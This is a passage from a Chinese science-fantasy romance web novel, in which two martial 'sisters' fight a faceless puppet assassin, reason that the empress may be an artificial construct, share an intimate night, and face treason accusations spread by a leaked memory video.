沈逆捡鞋的时候道:“……窦女郎,要不你歇会儿?这里怪危险的。”
第五阙摸着发痛的脚,“你来了之后危险指数直线上升啊!”
窦璇玑:……
这二位有礼貌,但不多。
无论来多少人,无脸女的最终目标还是沈逆。
拆完别人的招后,总是会立即冲向沈逆。
和沈逆想的一样,无脸女将她诱骗出来又差点勒晕她,就是为了把她抓走。
无脸女矮身横扫,整面屋顶被掀起,像一面忽然而至的墙,遮蔽沈逆的视野。
沈逆心里暗叫一声“不好”,不到半息,无脸女刺破了瓦片墙,扑到她面前。
没有脸的五官骤然在眼底放大,鞭子狠狠笞在她肩头,鞭尾甩到她后背。
如万钧重压,沈逆吃不住,矮身往下一跌。
与此同时无脸女的鞭子圈成了套索形状,就要套住沈逆的脖子。
第五阙想要去帮已经来不及。
若是被她套住,沈逆必定会被她抓走,想救就难了!
李司和房判这两位远程射手只能不顾一切开火。
无脸女也不躲,扛着进攻不管不顾,只为带走沈逆。
鞭子套索已经悬在沈逆头顶上方,危机当口,一道黑影如奔雷,以极快的速度冲向无脸女,一脚将她踢飞。
无脸女擦着屋顶弹起,又砸到树上,整个人在空中失控地翻了好几圈,最后撞进坊内的一处雀牌室内,稀里哗啦倒了一大片。
沈逆肩头血红,浑身被血汗浸透,喘息不已。
还以为是第五阙赶来救她,正要笑着说“姐姐我真是大难不死”。
一抬头,却是边烬。
身躯相似,只差一张脸,可就是多了这张脸,血肉之躯便像注入了色彩,变得如此鲜活灿烂。
那双眉眼极清极正,双眸汇神,月光洗濯着,如忽至人间的谪仙。
画虎画皮难画骨。和真正的边烬相比,无脸女完全就是一张灰扑扑,死气沉沉的皮囊。
沈逆心想,明明相差这么多,我怎么会认错师姐?太荒唐了。
边烬揽着沈逆的后脑,就看过来一眼,沈逆坚持了一夜的痛处忽然破土而出,竟也会后怕了。
边烬眉心的小山堆起,“很疼吧。”
沈逆委屈地告状:“她抽我,可疼了!”
不远处的第五阙没眼看,刚“噫”了一声,却见无脸女人影未至,鞭子已经冲着边烬的脑袋打过来。
第五阙提醒的喊声响起的同时,边烬单手牢牢拽住了鞭子。
边烬甚至目光还落在沈逆脸庞上,没回头。
第五阙心里喊了声“好厉害”,立即提醒道:“边女郎!那玩意的鞭子和手是连在一起的!”
“是么。”
边烬用力一拽,将无脸女连鞭子带人直接拽到沈逆面前,碾着脑袋一脚蹬在脚下。
边烬把自己的鞭子递给沈逆:
“她抽你何处,你抽回去。”
房判惊叹地“哇”一声,其余众人也是怔愣,她们打半天,边烬一来结束了?
沈逆却是知道,这模仿边烬的玩意,模仿的是没换逆芯前的她。
拥有逆芯的边烬自然完全不同,依旧是独一无二的。
第五阙:“……终于可以去小解了。”
无脸女忽然打碎屋顶,往下跳,转眼消失。
沈逆:“不能让她跑了!”
边烬拉住她道:“不用追,以防调虎离山。”
李司道:“但她就这么走了,等于放虎归山。”
边烬:“没关系。”
看边烬说得这般从容,便知边烬已有计策。
谁知边烬接一句:“她肯定会再来的。”
想到今晚的恶斗还有可能重新再来一次,沈逆李司等人顿时浑身虚脱。
李司问沈逆:“你媳妇向来这么会聊天?”
沈逆:……
第79章
一行人从屋顶下来,绕着城中的南衙护卫队走,要是被缠上,得盘问半天。
沈逆问边烬她是不是遇到秦无商了。
边烬颔首。
“还是和上次一样,不是她本人。秦无商和那无脸女兵分两路,是想分散咱们,逐个击破。”
沈逆:“三师姐呢?”
边烬顿了顿,“回家再跟你说。”
边烬这么一言,沈逆心里便有数了。
边烬想到什么,转身对沈逆道:“不妙。酒肆里其他同门或许也有危险。”
话刚说完,就听不远处传来同门呼唤她们的声音。
沈逆应道:“我们在这。”
五师姐带着其他同门赶来,看到边烬和沈逆都没事,大大缓了一口气。
边烬问:“其他人呢?”
五师姐立刻联系还在酒肆里的同门,他们也都很安全,没有受到攻击。
边烬和沈逆稍微安心了一点,不过边烬也觉得有点奇怪。
若是秦无商是冲着她俩来的,威胁了三师姐,那么这次同门聚会从一开始就是陷阱。
就算秦无商没有留后手,那位藏在幕后,协助她在长安城里横行的人也该有其他的准备。
若是抓她们不成功的话,劫持几位双极楼同门当做人质,无论秦无商她们打的是什么主意,往后麻烦定然不小。
可是,同门居然都很安全。
沈逆脑子转了转,打开电子表,果然有曾倾洛的传信。
边烬也收到曾倾洛一模一样的传信。
曾倾洛在信中说今夜还有别的事,先不过去了,迟些时候再跟她们详细说明。
传信时间在半个时辰前,当时沈逆和边烬都在酒肆,太吵了没注意到,之后又忙着对战,这会儿才看到。
沈逆暗暗对边烬道:“会不会是倾洛在暗中协助?”
这么一联系的确有可能。
沈逆打开曾倾洛的体征系统,看她各项数值偏高,但没有生命危险。
不知道她在做什么,一定是以身涉险,现在贸然联系她,恐怕会给她制造不必要的危机。
看边烬沉默不语,便知道她在担心曾倾洛的安危。
沈逆安慰她道:“倾洛长大了,这些年成长得很快,早就能独当一面。”
边烬道:“我并不怀疑她的能力,但这孩子心性纯善,只怕这方面会吃亏。”
到底是边烬看着长大的,一语中的。
曾倾洛的确是吃了亏,不过此时她也抓住了李极,得到了这枚极为有利的筹码,正将她押往武卫们找不到的地方,暂时没空和师姐们联系。
窦璇玑过来说:“那个,沈女郎,我有些话想同你说。”
沈逆和窦璇玑一同到巷子深处,窦璇玑小耳朵红红的,一本正经将自己打算继续留在丽景门的想法跟沈逆说了。
没想到她考虑得这般全面,沈逆也向她交底。
“如今天家那两姐妹随时都有可能图穷匕见,上面那位很有可能一直隐藏着真面目,与黑魔方有极深的牵扯。丽景门是个险要之地,消息多风险也大,你若决定了继续留在门内的话,一定要当心。”
窦璇玑心里一震。
李渃元和黑魔方这对死敌,竟有极深的牵扯?
门主知晓吗?
沈逆这话信息量实在太大,窦璇玑一时半刻消化不了。
沈逆拍拍她的肩头:“要是你什么时候想离开,随时来我侯府。”
“先前受伤不方便登门拜访,就让李司帮忙回了礼。今日正好相见,那个……我……”
沈逆知道她想说什么。
这些内向的人说话吞吞吐吐,可真让人着急。
沈逆替她说了。
“今夜多谢相助。往后璇玑你有什么事尽管开口。有空来我府上玩,直接带着你小搭档来就是,不用拜帖。”
这一声“璇玑”弄得窦璇玑更不好意思,双手攥在一起,用力点点头。
“这把电刃做得匆忙,但用的材料还不错,若不嫌弃,就当咱俩挚交的信物吧。”
“这,好的材料给我用太浪费了。”
“一点星河铬素罢了,你先用着,等我回头再给你做更好的。”
沈逆对朋友一向慷慨,除了为边烬保留的那部分,她手里还有些零碎的星河铬素可用。
而且她已经在打造“狸力开采机”,打算直接去睦州把整个狸力三号坑搬空,绝不能便宜了李极。
李极开采狸力三号坑肯定死了不少人,但没有除辐射的技术,到头来空有材料没法用,沈逆不想这顶尖的宝贝落在不懂它的庸人手中。
窦璇玑忍不住多看几眼手中的电刃。
做梦也没想到自己有朝一日能用上星河铬素打造的武器。
窦璇玑:“可是,这次太过突然,我没带什么可以送你的物件。”
沈逆:“这个简单。”
沈逆将窦璇玑蹀躞带上的一个皮扣解下,锁到自己的蹀躞带上。
沈逆道:“听说你们丽景门都是孤女,我亦是。当年我被抛弃在双极楼,是我师姐看我可怜收留了我,我才能活到今日。你我在这乱世挣扎,也曾互看不悦,没想到几番波折却心心相惜。苍天不仁,终不能司人之命,往后咱们便携手进退,互解腹心之忧。”
沈逆诚挚之语,惹得窦璇玑眼眶发热。
窦璇玑曾经将一切给了韩复,而韩复与谁都能演一处推心置腹的好戏,其实城府甚深,绝情寡义,擅于玩弄人心。
沈逆也是薄冷的性子,对人极有防备,相识之初只觉得她八面玲珑狡诈多端,窦璇玑并不喜欢她。
没想到信仰被颠覆之时,竟是沈逆掏出一颗真心送她。
窦璇玑红着眼睛,又用点了几下头。
李司双臂环在胸前,问坐在石阶上等着窦璇玑的房判。
“你说我也对她掏心掏肺的,她怎么就不对我红一下眼睛?”
房判想了想,道:“大概因为靖安侯没说要娶璇玑吧。人家是好友交心,你是居心叵测。”
李司:。
话糙理不糙,可这话也太糙了。
什么叫居心叵测,她一片丹心好么?
她就是想娶窦璇玑,就是想把窦璇玑接到身边照顾,怎么就叵测了?
房判问李司:“李将军,能问你个事儿么?你为什么喜欢璇玑,想娶她?”
李司:“喜欢还用为什么?性格好。”
房判:……
璇玑那暴脾气,性格好?
这李司多少有点受虐倾向在身上。
“不是觉得咱们丽景门都是无父无母的孤女,可怜么?”
李司“啊?”了一声:“那我娶那瞎子得了。”
房判:。
行吧,有她这句话就行,应该是璇玑多心了。
沈逆浑身是血,肩头连至后背的一道伤口触目惊心,实在可怜,边烬问她疼不疼。
边烬都这么问了,哪有不疼的道理。
沈逆原本还活蹦乱跳的,被边烬这么一问站都站不住。
边烬:“我抱你回去吧。”
沈逆还以为需要再撒几次娇才能得逞。没想到今日的师姐格外好骗,即便在外面也这么纵容她。
勾着沈逆的腿弯,把她横抱起来,还不言不语,只安静地深深凝视她。
沈逆圈住边烬的脖子,被瞧得心都快跳了几拍。
是因为见她伤得这般重,心疼了么?
亲密度忽然增加了一。
沈逆和边烬同时眼睛一亮。
万年的王八终于动弹了。
看来是因祸得福,师姐是真心疼了。
沈逆还觉得加得不够,她浑身都是伤,结果只加了一?
李司看沈逆撒个娇,边烬就抱她回去,宠的要命。
这技能得学,而且想实践的对象就在眼前,她马上操练起来。
李司撑着腰,对窦璇玑直叫唤。
窦璇玑:“你也憋尿呢?”
李司:“……我什么憋尿,我受伤了!”
窦璇玑目光在她身上扫了一圈。
“你伤哪儿了?不是躲挺远的么?”
“我怎么没被受伤,不是被你踹了一脚?”
“嫌我踹你是吧,行,下次你就等死,看我救不救你。”
李司:?
这方向好像不太对啊,可爱小狗撒娇不是会被抱到怀里蹭蹭摸摸哄哄的么?怎么会被嫌弃?
窦璇玑叫上房判,打算跟沈逆她们说一声就先回去了。
这一夜本来想出来放松放松,结果一场激战,半点松没放,累个半死。
她们半路参战也不知道那无脸女是什么玩意,看上去沈逆也没什么太清晰的头绪。等沈逆理好线索,她再去拜访。反正她现在已经加了沈逆好友了,偷偷飞鸽传信,方便得很。
李司单手撑在窦璇玑面前,挡住她的路。
窦璇玑:“还想干嘛?”
李司不装可怜小狗了,切换成妖娆风骚的小乔。
“今晚这么有缘,共度患难,要不要继续找个地方杯酒言欢?”
房判:“李司将军,要不你先把脸上鞋印擦一擦?”
鞋印?
李司后撤一步,对着琉璃照了一下,干,脸上好明显一个鞋印!
远处有金吾卫的行动声,窦璇玑提醒她:“你下属就要来了,你确定要这个形象招待他们?”
李司张口结舌,指了窦璇玑半天,一个字都没能蹦出来,最后捂着脸遁走。
窦璇玑看着她鬼鬼祟祟的背影,自言自语道:“这黑皮真有三十岁吗?”
窦璇玑和房判和沈逆她们道别后也走了。
第五阙小解回来,贺兰濯已经招来马车,让她上车卧着。
第五阙浑身跟散架似的,躺上马车,伸出脑袋对沈逆道:
“今天真顶不住了,那无脸女到底是什么玩意,等我睡一觉回来再聊,我可太好奇了。”
沈逆道:“行,我已经有些思路了,应该八九不离十。今日多谢了,哪儿修不好了来找我。”
“什么乌鸦嘴,一点小伤,怎么就修不好了。”
第五阙挥了挥手,眼皮都要合起来了。
“你俩小心点……千万睦洲百姓还等着你们保佑呢。”
马车关上车门,安静前进。
第五阙安心陷入昏睡,她知道贺兰濯会定好回客栈的路线。
迷迷糊糊不知睡了多久,一只手抚过她暗红色的长发。
第五阙被抚得极舒服,不由自主“嗯”了一声。
一道好听但满藏心事的女声,在第五阙思绪之外飘荡着。
贺兰濯:“下次遇到危险,不必替我挡。”
第五阙累得眼睛都睁不开,含糊道:
“为什么……你不也为我抵挡么?”
顿了很久,久到第五阙又昏迷了,贺兰濯才望着窗外幽深的夜,喃喃自语着:
“不一样。”
到了帝国客栈,贺兰濯没叫醒第五阙,抱着她上楼,进了客房。
宽衣后,见第五阙为她挡的那一下,后背一片可怕的紫红色。
轻轻一碰,第五阙就难受地哼呢。
贺兰濯为她擦拭身子,又将几处伤得严重的地方缝合上药。
收拾好之后,帮她穿上舒适的寝衣。
第五阙趴着睡得极沉,贺兰濯忍着头疼欲裂,出门,上楼。
直达顶层。
来到李极的客房门口,正要按铃,门开了。
康逸开的门。
贺兰濯:“殿下呢?”
康逸手里握着李极的衣衫,“呿”了一声,道:
“被人掳走了。我来拿殿下的衣物,派机械狗搜寻!殿下可千万不能有事!”
贺兰濯深吸一口气,没想到还有黄雀在后。
贺兰濯冷言:“少哭丧个脸,找不到殿下,都得死。”
第80章
“陛下。”
一声轻唤,李渃元睁开眼睛。
阴晦不明的光中,李渃元的声音从幽冥的寝殿深处传来。
“如何了?”
韩复道:“安王又一次失踪,不知被何人劫持。沈逆与边烬尚且活着。弦昼国来的那两只人偶,一只自毁,一只逃走了。丽景门已经在全力追查安王和人偶的下落。”
良久,李渃元轻轻叹了一声。
纵着这两方人马在长安城内战了一夜,终究没能达成她最期待的结局。
“看来那两只人偶还是有些本事,朕还想着明年今日或许要去祭拜妹妹了。妹妹现在身在何处,阿复,你可有头绪?”
韩复:“说来奇怪,属下原本猜测是沈逆和边烬掳走了安王,可她俩有可能藏人之处往来间没有安王的影子。丽景门和南衙十二卫已经排查了可疑地点,还未发现安王的下落。”
李渃元:“大隐隐于市,妹妹或许是被贼人藏于坊内。朕的长安城六十六个坊,两千多万百姓,无数闳宇崇楼,蜂屯蚁杂。若要藏一个人易如反掌。”
韩复被她这么一提点,明白了。
“微臣这就差人去坊内排查。”
“去吧,务必在天亮前找到。”
天亮前?
韩复离开大明宫时,还在思索着李渃元话中的意思。
明日天亮时分,会发生何事?
……
靖安侯府。
沈逆等待边烬的时间里,将秦无商那截断指,和无脸女的部分残躯投入系统分析,人体组织的确和箱水母袭京那回的“秦无商”一模一样。
联想到无脸女,甚至是李渃元。
沈逆有个猜测,只等着边烬回来与她讨论。
边烬迟迟未归,沈逆派出去寻支援曾倾洛的侦查鸟也没传回消息。
实在太累,沈逆不知不觉趴着睡着了。
边烬推门进来的声音将她唤醒。
沈逆迷迷糊糊睁开眼。
“找到枫儿了?”
边烬不仅找到了三师姐的女儿,还沐浴过,长发和肌肤带着明显的水汽。
“嗯,我将枫儿送到双极楼,让双极楼的老人照料她。”
“为何?不是说好将她带回来,我为她取炸弹?”
“她身子里根本没有炸弹,秦无商骗了三师姐。”
沈逆双眉往上微抬,“看来这秦无商说谎成性,她说的每个字可都不能相信。”
边烬将外衫挂在龙门架上,回眸,眼波点点碎光:“嗯,我不信。”
沈逆方才小睡一会儿,还做了个梦,在梦里一些先前就在注意过细节一一浮现,迫不及待对边烬道:
“师姐,你还记得和箱水母一起出现的秦无商吗?你说那不是秦无商本人,后来我还原了那具尸体,尸体的活性剂含量高得离谱。的确不是她本人,甚至不是人。这次的秦无商那根手指,以及无脸女被打落的一些身体组织结构,与箱水母事件的秦无商一模一样。的确都是秦无商炼出来的‘魔种’。”
今夜遭遇秦无商,以及她所炼魔种的事,边烬已经跟沈逆说了大部分。
记忆投影的那片尸山,暂时未提。
沈逆继续道:“上次咱们不是聊过,我觉得不像只有一个李渃元。当时你道,你见过她得怪病前的模样,的确和现在相差无几。当时茫无端绪,想了很久,今夜忽然想明白了。师姐,你有留意过李渃元写的字吗?”
“她的字很难看,举国皆知。”
“是,不仅如此,我留意过李渃元执笔时的神态。她在用笔之前,总是要看着笔发一会儿的呆,然后才用拳头握起笔,胡乱写就。她不是单纯的写字难看,像是根本不知道笔怎么用。”
边烬也想起一件事。
“李渃元好像很少在人面前用餐。”
沈逆:“没错,她没少宴请群臣,但的确没怎么在人前用过膳。她也很少在人前写字,我留意到的两次,都是偶然撞见的。”
边烬道:“很多年前我无意间撞见过她进食,不是自己吃,而是韩复在喂她。她那时已经年过三十了。”
沈逆“唔”了一声。
“这么说起来,她恐怕不是不知道笔怎么用,而是无法正常操作手。”
沈逆继续道:“若不是今晚那无脸女留下的细节,我恐怕还想不到李渃元这一层。那无脸女的手和鞭子竟是连在一起的。这不是很奇怪吗?连左撇子都可以一比一复刻你的魔种,为什么偏偏有这么劣质的细节?有没有可能是因为她也不知道手的用法?无法握住鞭子?”
边烬补充道:“但那秦无商的魔种有用手抛起操控炸弹的按钮。”
“可是你有看到她用手按下按钮吗?”
边烬摇摇头,“没有,她双手一直藏在袖子里。”
甚至杀人的时候,都是用一个安装在脖子后面的机械臂。
“所以她极有可能也无法用手做更为精细的动作,这不是和不会用笔,也不知道用箸的李渃元一样么?”
沈逆的思维剑走偏锋,超乎常人所想。
一系列的细节顺下来却很有说服力。
饶是见多识广的边烬心里也有些发毛。
“你是说,李渃元也是魔种?”
“不是不可能,咱们时时能见到的李渃元,恐怕真是脱胎于同一技术的魔种。”
边烬算了一下时间,不太对。
边烬道:“我在暗网上看过秦无商的资料,她小李渃元好几岁。李渃元得病那年,她还是个尚在襁褓之中的婴儿。就算秦无商此人再奇怪,身为婴儿的她恐怕也无法炼出李渃元的魔种吧。”
沈逆:“有没有可能秦无商师承别处?那诡异技术或许早就成熟,只是世人闻所未闻。师姐,我有种预感,最高研发署的禁区里,肯定有咱们想知道的秘密。”
边烬想起秦无商那句话。
若不是你当初走得太突然太绝情,我们的魔种怎么会还差一张脸呢?
魔种的秘密,也藏在她丢失的那三年记忆里。
那三年,是改变她人生的三年,埋藏了太多秘密。
她必须得想起来。
聊到此处,沈逆活跃了一晚上的思路似乎又陷入了死胡同。
最高研发署固若金汤,如何破解?
思考时,半天没动弹的身子动了动,伤处疼得沈逆倒抽一口气。
身上能自己处理的伤口多半已经处理过了,肩头和后背的位置难够着,又懒得去用机械臂,暂时还没动。
而且自己处理好了,师姐回来看不到伤口,不心疼了怎么办。
边烬果然道:“那无脸女力道不轻,和装备逆芯的我相差无几,你怕是吃不消。让我看看伤得如何。”
沈逆乖乖趴回去,边烬掀开她寝衣后领,看到雪白的肩头上的鞭痕一直延伸到后背,皮开肉绽。
边烬:“这么深的伤口,很疼吧。”
沈逆:“习惯了。”
边烬:“习惯了?”
沈逆的脸枕在自己的手背上,回眸欣赏着边烬微蹙眉心,心疼她的细节。
“没你抽我那十鞭子疼。”
边烬被她噎了一下,见衣领的边缘,与新鲜伤痕交接的地方,有几道露出一角的旧伤。
那埋在寝衣之下的旧伤形状和走势,一眼就能分辨出来,是边烬当初让她跪在雪地里罚的十鞭。
边烬手掌微凉,隔着寝衣抚在旧伤上。
“还怪师姐吗?”
肌肤被边烬搅动起涟漪,一层层在沈逆躯体上荡开。
沈逆被抚得有些软,一贯清明的双眸被这一弄,沁出了潮意。
“我若还记仇,师姐要怎么哄我?”
沈逆的侧脸映在边烬的眸底,那是欲念的形状。
那烦人的声音又在恼她。
你呢?你敢让她知道真实的你吗?
沈逆还待看边烬被自己戏弄羞恼的模样,忽然,边烬伏身吻住她的耳朵,香颈交缠,体温一瞬浸透薄薄的寝衣。
沈逆没想到师姐的手掌穿过了衣料,直接覆在她的旧伤上。
一开始只是贴着肌肤摩挲,之后力道逐渐加重,弄得沈逆有些痛感,那痛又痛得十分痛快。
吻从耳朵至唇瓣,洁净的女人手从沈逆的手背上扣下来,贴在她的指缝里,紧紧回扣。
也不知是谁将谁吻得合不上唇。
生涩却主动,沉默中的热情和以往完全不同,像一团要灼化沈逆的火。
相比于之前的历乱无章,这回边烬的举动仍然堪称笨拙,却让沈逆在愈发酥软欢慰。
那双被沈逆点化过的唇舌,吮咂着一下下笞中沈逆的心门,直笞得她目眩体燥。
沈逆难耐地翻过身,扣住边烬的下巴,撑起她的下颌,优美的脖子完全展露。
挤到边烬的怀里深吻,深到边烬漏了好几声。
无论沈逆怎么摆弄边烬,边烬都顺从地配合着。
那个无情地踩着无脸女,所向披靡的边烬,与在她掌心里发烫发软的女人仿佛不是一个人。
青丝铺在床面上,寝衣也凌乱着。
边烬莹白的肌肤上被沈逆任性地留下印记。
环着沈逆脖子的双臂并未松开,皮肉被磨咬时,舒服的感觉让她无措地收拢手指,在沈逆脖子处留下几道浅浅的指痕。
汗水布满沈逆漂亮的脸,在她下巴上汇聚成一滴发亮的晶莹,颤悠着,最后坠在边烬心口。
“师姐……”
沈逆吻着边烬的右手,被宠到极致,竟宠出了委屈。
那双狭长的眼本该清冷薄情,此刻却发红,热泪欲滴。
“这些年,我一直没能忘了你。”
突然而至的表白让边烬心头一颤,酸意像潮水,霎时将她淹没。
沈逆的指尖压在边烬的腰侧,不知何时扣进了她的腰带中,夹在腰带内隔着衣料磨着盆骨。
一下下的,似在询问,好不好?
边烬闭上眼,长腿屈起。
她知道沈逆想要。
从小到大,沈逆想要什么她没给?
这么多年了,沈逆还这般喜欢她,如果她们注定要走上歧途,倒不如做一回真正的逍遥伴侣。
往后何去何从,也不留遗憾。
边烬的手指穿进沈逆的手里,指骨磨着她的手心,慢慢地,抽松腰带。
全程,身下的边烬都在看着别处,直到彻底宽完,她才转眸望回来。
望向她的红尘凡俗,鲜活的贪欲。
……
边烬也不知后腰悬空了多久,被沈逆侍弄着。
受不了时,或轻或重地咬在沈逆没受伤的那侧肩头,长发铺在沈逆的后背上。
乌丝与伤痕纠缠。
比吻还深。
那清冷纯净的神佛果真被沈逆浸入了凡尘。
用欲念浇灌,用情爱濡染,注满她的气息。
在梦境之外,她实实在在地握住了梦里人。
奇妙的感受让沈逆晕眩,无法停止与彩色的梦境酣畅淋漓地互相磋磨。
在这让她失控的露水之夜,沉浸于极致快乐中的沈逆,敏锐地察觉到碎乱的边烬被一种陌生的悲凉包裹着。
那是想要交付一切的不管不顾,心事重重。
沈逆抵碾慢了些,问边烬:“有心事吗?”
边烬膝盖还磨在沈逆的腰侧,迷离中想起血腥的尸山,和拎着下属头颅的自己。
记忆模块投影的细节未必没加工过,但视频里的人一定是她自己,她确定。
投影起码有一部分是事实。
边烬在喘息的间隙,艰难地说:“我想……尽快开通连理模块,找回记忆。”
沈逆动作停了一下。
“只是这样?”
边烬没说话。
停了这一下,竟迅速开始空虚,边烬难受地拢紧膝盖。
沈逆的声音就在耳边。
“这事可没有后悔的余地。”
边烬睁开湿漉漉的双眸,看了眼腿下的床面,惊异中红着脸移开了目光。
语气莫名有些冷。
“亲密度这么久没有动,就是因为没到这一步。既然是必要的手段,为何不用?已经涨到五十五了。”
必要的手段。
这五个字扎在沈逆的心头。
原来如此。
沈逆的确早就做好准备成为边烬的“手段”,可当这句话实实在在从边烬口中说出来时,还是扎得她发痛。
那冷淡的语气仿佛在暗示,如果今日换成别人,也能当她“必要的手段”。
“是么。”
沈逆再次将她抱起。
“那今夜不到六十,我不停。”
边烬想说什么,唇被堵住。
夜越来越沉。
不知第几次,沈逆竟还有力气抱她,吻她,托起她。
每次边烬都以为不可能了,太多了,可每次沈逆都能再送她去。
有可能是逆芯的关系,触觉敏感让边烬的体质变得难以形容。
亲密度加一,再加一。
情意盒被打翻,沈逆从身后吻边烬的耳尖。
边烬说,不行。
沈逆道,才五十七,不是想恢复记忆吗,继续。
又加一。
当初冷清的洞房已经取走了喜饰,却忽然有了洞房该有的样子。
暖帐薄纱中,隐约能瞧见两具漂亮的女人身躯紧密交缠。
不知辰几,一片狼藉的边烬被沈逆抱在窗台上,眼前再一次发白。
边烬紧紧依着沈逆,颤抖不止。还未尽,沈逆又来揉碾。
边烬:“不……”
边烬压住她的手腕,尾调已然带着一丝丝哭腔。
沈逆在晨光中缓缓掀起眼皮,看着边烬红透的肌肤上布满她的痕迹。
而那双总是冷若冰霜的眸,不知何时已经被泪水打湿。
抱着边烬回床榻,边烬背对着她。
沈逆紧紧拥过来,只想将她箍进自己的身体里,血肉相融,永难拆分。
沈逆倦透了,睡得很熟。
边烬只昏睡了一小会儿,便醒了。
亲密度,五十九。
边烬淡笑了一下。
只差一,天意。
转身时有点刺痛。
很奇怪,不止是痛,还有些残存的感受,难以消化,但那是沈逆给她的,又很喜欢。
沈逆的睡颜毫不设防,和小时候一模一样。
边烬安静地看了许久,最后在她唇上落下一个浅浅的吻。
这一夜贪得太多了,此时她听到了世界苏醒的声响,那些沸沸扬扬的指责和追捕她的脚步已在路上。
边烬选了一件沈逆的衣衫,面对着朝阳,对齐衣襟扣好搭扣,仔仔细细,穿戴齐整。
80-90
第81章
扣好袖扣,打开万维网,看了一会儿。
一切如她所想。
隐约听到护院和外人的对话声,随后,万姑姑急急忙忙穿过游廊,往主院来。
边烬将万维网关闭,回身想去开门,却见沈逆不知何时醒了。
沈逆站在寝屋门前,后背抵着门,单手压着。
万姑姑在门外唤她们,沈逆凝视着边烬,半晌才说:
“万姑姑,你让客人在前厅稍候,我一会儿就来。”
那大理寺属员和持.械左骁卫来势汹汹,不好应付。
可侯君都这么说了,万姑姑便应了声“喏”,思绪转了一圈,硬着头皮再去和那帮武夫周旋。
寝屋里有淡淡的梨花香,沈逆没有绾发,寝衣也是随意一套,腰带系得潦草。
阳光从窗外透进来,罩在她的脸庞上,高挺的鼻梁将脸部切割成明暗极致的两面。
沈逆走到边烬面前,安静地看着她。
眼眶还和昨晚一样红红的,没有梳理的头发有点凌乱,一声不吭,闷闷的。
像只得知将被主人抛弃的可怜小宠。
沈逆目光落在边烬的手腕上,问她:“能给我看看吗?”
沉默片刻,边烬打开电子表,继续播放刚才她在网上看到的视频。
沈逆将视频拉回开始的地方,从头看。
这是秦无商放给边烬看的记忆投影,已经被她大肆在万维网上宣扬。
站在尸山上残忍杀戮的场面,和末巷中百余人的碎尸,已经严丝合缝按在边烬身上。
帝国之刃的真面目,嗜杀成性!
万维网上掀起讨伐边烬的狂潮。
上百万的留言都在谴责她是叛国贼,证据确凿,希望内廷立即将她缉拿归案,以正视听。
自然也提到沈逆的名字。
无数人猜测沈逆早就知晓边烬的叛国罪行,却向李渃元求娶此贼,精心修复,图谋不轨。
两人恩爱的过往便是蛇鼠一窝的证据。
自然也有人怀疑这视频的真实性,毕竟只是视频,从何处得来,是否作假也未可知。
但更多的人不需要牢不可破的理由,只需要刺激劲爆的新闻来为自己平淡无奇的一日增加更多的趣味,一个发泄的途径。
这场狂欢天亮时分一瞬沸腾,到现在也没有往下落的趋势。
早就和靖安侯府结怨的大理寺自然不会放过这么好的机会。
只是先前吃过亏,这回来之前多了个心眼,联合了南衙十二卫里最精悍的左骁卫一同杀上侯府。
沈逆随意看了几眼便关了。
抬起湿漉漉的眼眸。
“这就是你昨晚那么做的理由。”
边烬不置可否。
也的确是这么想的。
她要立即开通连理模块,如果成功开通,即便自己被抓入大理寺,沈逆在外,两人依旧能通过连理模块去寻找记忆真相。
万一真相的确和秦无商展示的一样,她真是为了某种利益叛国,是沾满无数同胞鲜血的恶魔,那她留下的一丝嫌隙便能护沈逆免于深陷泥沼,及时抽身。
但沈逆太聪明,边烬所有的想法她都看在眼里,一语道破。
也可惜了,终究差了最后一点。
天意如此。
“你打算随大理寺走吗?”
大部分的谎言都会被沈逆拆穿,边烬实话实说:“我们不能同时陷入麻烦。”
“我们”这个词意味着边烬还将她们当做一体的双妻。
沈逆笑道:“不会的,我把他们都杀了。”
轻轻松松一句话,狂傲乖张。
边烬严肃道:“你若这样,和邪道又有何区别?我不记得我这样教过你。”
沈逆笑容更甚:“是啊,我是邪道,我迄今为止没踏上你所谓的歧途,也只是因为心心念念着你的教诲。可你一生光明磊落,嫉恶如仇,谁又记得你的好?”
沈逆的话打在边烬心口,让她眼神微微闪烁。
不待边烬再开口,沈逆往前一步,踏在边烬双脚中间。
边烬被她抵得后退,后腰卡在矮柜边沿。
执住边烬的手腕,沈逆整个人压上前。
边烬被她弄得没办法,只能半坐在柜面上。
沈逆眼睛本来就因为开采星河铬素留下后遗症,昨日受了伤,此时眼眶发红,覆着一层强忍着的泪。
“带伤戍守边疆,丢失记忆,险些残废。这一切的痛苦换回的是什么?被怀疑,被囚禁,被施以酷刑。你一趟趟列车排查黑魔方的踪迹,起早贪黑地惦记这个国家的安危,而你想保护的那些人是如何待你的?你比我看到的更多,更详细吧?他们根本不珍惜你,不在意你,你何必再撑着这天地?就让它塌下来,砸烂这些泥猪瓦狗岂不痛快?”
这一番话压抑在沈逆心中多时,以往不忍说,此刻心头那团火烧得她难受。
她替边烬委屈,替她不值,半点都不想再压抑。
以下犯上,出言无状,竟是无尽的快意。
面对沈逆汹涌的质问,边烬眼波淡淡。
“无人拨云,永远看不到星星。我不护这天地,不如烂在死城。”
平缓的语调,这句话似边烬在心里对自己说过无数次,说出口时没有任何激昂的情绪,笃定而认真。
沈逆充满攻击性的眉眼,被这云淡风轻的一句话击碎。
仿佛回到六年前那个雪夜,她让边烬别去,边烬道,我若不去,燕落必溃。
边烬的纯粹,揉得沈逆的心酸痛难当,像被人大力揉搓着。
一滴泪从她眼眸里滑落。
边烬目光凝在那滴泪上,亲眼看它往下掉,心也跟着坠下去。
泪滴打在胸前,散出一朵转瞬即逝的泪花。
这个女人固执,食古不化,满心的理想,也不看看现在身处的世道多浑浊不堪,何处供她行走?
但,这样才是她。
这才是那清风明月,不染尘浊的双极楼大师姐。
更喜欢她了。
沈逆攥着边烬的衣角。
喜欢得呼吸都变得困难。
沈逆挤到边烬的怀里,用眼泪浸透她的衣襟。
边烬感受到热泪的温度,呼吸也越来越不畅。
酸痛的感受在心口一趟又一趟,边烬已经习惯用吻来安抚沈逆,双唇欲动,想到沈逆现在应该已经讨厌自己了,又抿回,咬住。
眼泪流尽,沈逆稳了稳情绪,多少有些丢人。
吸了吸鼻子,打算忘了刚才发生的事,假装自己没哭过。
沈逆抬起双眼,问边烬:“昨日你那么说,不会是想让我讨厌你吧?”
沈逆不知道此刻自己双眼红彤彤,鼻尖也粉里透红,刚刚哭完的模样在边烬看来有多可怜。
边烬很难对沈逆说谎,只能沉默。
沈逆从她的沉默里读到了答案。
“我没办法讨厌你。无论有多少个记忆投影,我都只相信你。”
边烬绞住下唇的力道加紧。
失去了三年极其重要的记忆,即便是她自己,行走在迷雾之中,也有自我怀疑的时候。
竟有一傻子什么都不知道,却选择相信她。
